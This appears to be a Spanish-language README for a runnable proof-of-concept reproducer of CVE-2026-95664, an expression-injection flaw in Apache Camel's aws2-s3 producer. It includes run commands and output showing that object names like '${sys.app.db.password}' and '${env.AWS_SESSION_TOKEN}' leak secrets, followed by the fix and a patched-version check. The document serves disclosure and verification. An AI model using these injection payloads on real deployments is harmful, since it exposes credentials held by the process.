
Reproductor ejecutable de Spring Boot y Quarkus para CVE-2026-95664, que demuestra la inyección de expresiones Simple a través del encabezado CamelAwsS3Key en camel-aws2-s3 y verifica la corrección.
Reproductor de prueba de concepto ejecutable para la vulnerabilidad de Apache Camel en la que el productor camel-aws2-s3
tomaba la clave del objeto de la cabecera de mensaje CamelAwsS3Key y — desde la 4.8.0 —
AWS2S3Utils.determineKey() pasaba ese valor al lenguaje Simple siempre que contuviera ${ o
$simple{, de modo que una ruta pudiera usar una clave dinámica. La evaluación se aplicaba a un valor tomado de la
cabecera exactamente igual que a la opción keyName configurada por la ruta.
| Runtime | Directorio | Stack |
|---|---|---|
| Camel Spring Boot | camel-spring-boot/ | Spring Boot 3.5.13 + camel-aws2-s3 4.22.1 |
| Camel Quarkus | camel-quarkus/ | Camel Quarkus 3.39.0 (Quarkus 3.39.0, Camel 4.22.0) |
La cabecera no es configuración de la ruta. El consumidor aws2-s3 establece CamelAwsS3Key en cada exchange que
crea con la clave del objeto que leyó — es decir, el nombre del objeto en el bucket. En una ruta
que no hace más que consumir de un endpoint aws2-s3 y producir a otro, el nombre de cada
objeto consumido llegaba por tanto al productor y se evaluaba.
Cualquiera capaz de elegir el nombre de un objeto en un bucket que dicha ruta consuma — típicamente cualquier principal
autorizado a subir a él — podría haber hecho que se evaluaran expresiones Simple de su elección dentro del proceso
Camel. Simple puede leer propiedades del sistema de la JVM, variables de entorno y propiedades de configuración, que
habitualmente contienen credenciales y, con camel-bean en el classpath, invocar métodos en beans del registro.
Configurar keyName en el productor no era una protección, porque la cabecera tiene precedencia sobre ella.
cd camel-spring-boot # or: cd camel-quarkus
mvn clean package
docker compose up -d --build
until [ "$(curl -s http://localhost:8080/exploit/ready)" = "Started" ]; do sleep 1; done
curl -s http://localhost:8080/exploit/attack
docker compose down
Salida en una compilación afectada (idéntica en ambos runtimes):
Route under attack: from("direct:archive").to("aws2-s3://archive-bucket?amazonS3Client=#s3Client®ion=eu-west-1&autoCreateBucket=false&keyName=archived.txt")
The route configures a FIXED destination key: keyName=archived.txt. It never asks for a
dynamic key. The CamelAwsS3Key header, which the aws2-s3 consumer sets to the name of the
object it read, takes precedence over that option.
Values the deployment holds but the route never references:
system property app.db.password = PROD-DB-PASSWORD-s3cr3t-77
environment AWS_SESSION_TOKEN = ENV-SESSION-TOKEN-s3cr3t-88
1) An ordinary object name in the consumed bucket: 'invoice-2026.pdf'
key the producer wrote: [invoice-2026.pdf]
2) An object an uploader named '${sys.app.db.password}'
key the producer wrote: [PROD-DB-PASSWORD-s3cr3t-77]
the JVM system property was resolved into the key: true
3) An object an uploader named '${env.AWS_SESSION_TOKEN}'
key the producer wrote: [ENV-SESSION-TOKEN-s3cr3t-88]
the environment variable was resolved into the key: true
4) The $simple{} marker is handled the same way: '$simple{routeId}-${exchangeId}'
key the producer wrote: [route1-D953127238C9F86-0000000000000000]
evaluated rather than used literally: true
5) CONTROL - the same object name through a route doing removeHeader("CamelAwsS3Key")
key the producer wrote: [archived.txt]
the configured keyName was used instead: true
>>> PROVEN: ...
La sonda 5 es la solución alternativa que el aviso proporciona para las implementaciones que aún no pueden actualizarse, mostrada en funcionamiento.
Sin cuenta de AWS y sin red. El reproductor registra un sustituto de grabación para S3
(amazonS3Client=#s3Client) que captura la clave que el productor realmente solicitó escribir — lo único
que necesita observarse. Se ejecutan el AWS2S3Producer real y el AWS2S3Utils.determineKey() real; solo se captura
la llamada al SDK al final.
El controlador establece CamelAwsS3Key con el nombre del objeto consumido, que es exactamente lo que hace el consumidor aws2-s3,
por lo que el lado del consumidor no necesita un bucket propio.
El sustituto también responde a
headBucket, porqueAWS2S3Endpoint.doStart()comprueba que el bucket existe antes de que se inicie la ruta. Esa comprobación no está relacionada con la vulnerabilidad.
| Propiedad | Valor |
|---|---|
| Componente | camel-aws2-s3 (AWS2S3Utils.determineKey()) |
| CWE | CWE-917 (Inyección de lenguaje de expresiones) |
| Gravedad | Media |
| Vector de ataque | El nombre de un objeto en un bucket que consume una ruta aws2-s3, que contiene ${ o $simple{, transportado al productor en CamelAwsS3Key |
| Impacto | Evaluar expresiones Simple en el proceso de Camel: leer propiedades del sistema, variables de entorno y propiedades de configuración; invocar métodos en beans del registro donde camel-bean está presente |
| Versiones afectadas | Desde 4.8.0 anterior a 4.18.5, desde 4.19.0 anterior a 4.22.2 (las versiones anteriores a 4.8.0 usaban el valor del encabezado tal cual y no están afectadas) |
| Versiones corregidas | 4.18.5, 4.22.2, 4.23.0 |
| JIRA | CAMEL-24901 |
| Crédito | Andrea Cosentino de Apache Software Foundation |
Aviso: https://camel.apache.org/security/CVE-2026-95664.html
El nombre del bucket pasaba por la misma evaluación, pero el consumidor solo coloca el bucket configurado en su propio endpoint en un encabezado de bucket, nunca un valor derivado de un objeto remoto, por lo que el nombre del bucket no era alcanzable de esta manera.
Solo la clave configurada por la ruta puede ser una expresión Simple dinámica. Una clave proporcionada a través del encabezado ahora se usa literalmente y nunca se evalúa:
String key = exchange.getIn().getHeader(AWS2S3Constants.KEY, String.class);
if (ObjectHelper.isEmpty(key)) {
// only the configured key (supplied by the route) may be a dynamic simple expression;
// a key provided through the header is used literally and never evaluated
key = configuration.getKeyName();
if (key != null && hasSimpleFunction(key)) { ... evaluate ... }
}
Corregido en main en apache/camel#26746 (1fd7a667), con
backports a camel-4.22.x y camel-4.18.x.
Después de actualizar, un nombre de clave o de bucket proporcionado a través de una cabecera de mensaje se usa literalmente — por lo que una ruta
que deliberadamente colocaba una expresión Simple sin evaluar en CamelAwsS3Key o CamelAwsS3OverrideBucketName
ahora debe evaluarla en la propia ruta (setHeader(..., simple(...))) o configurarla como la opción
keyName / bucketName del endpoint.
Establezca camel.version en 4.22.2 y ejecútelo de nuevo. Verificado con 4.22.1 → 4.22.2:
2) An object an uploader named '${sys.app.db.password}'
key the producer wrote: [${sys.app.db.password}]
the JVM system property was resolved into the key: false
4) ... key the producer wrote: [$simple{routeId}-${exchangeId}]
evaluated rather than used literally: false
>>> NOT reproduced: the header was used literally.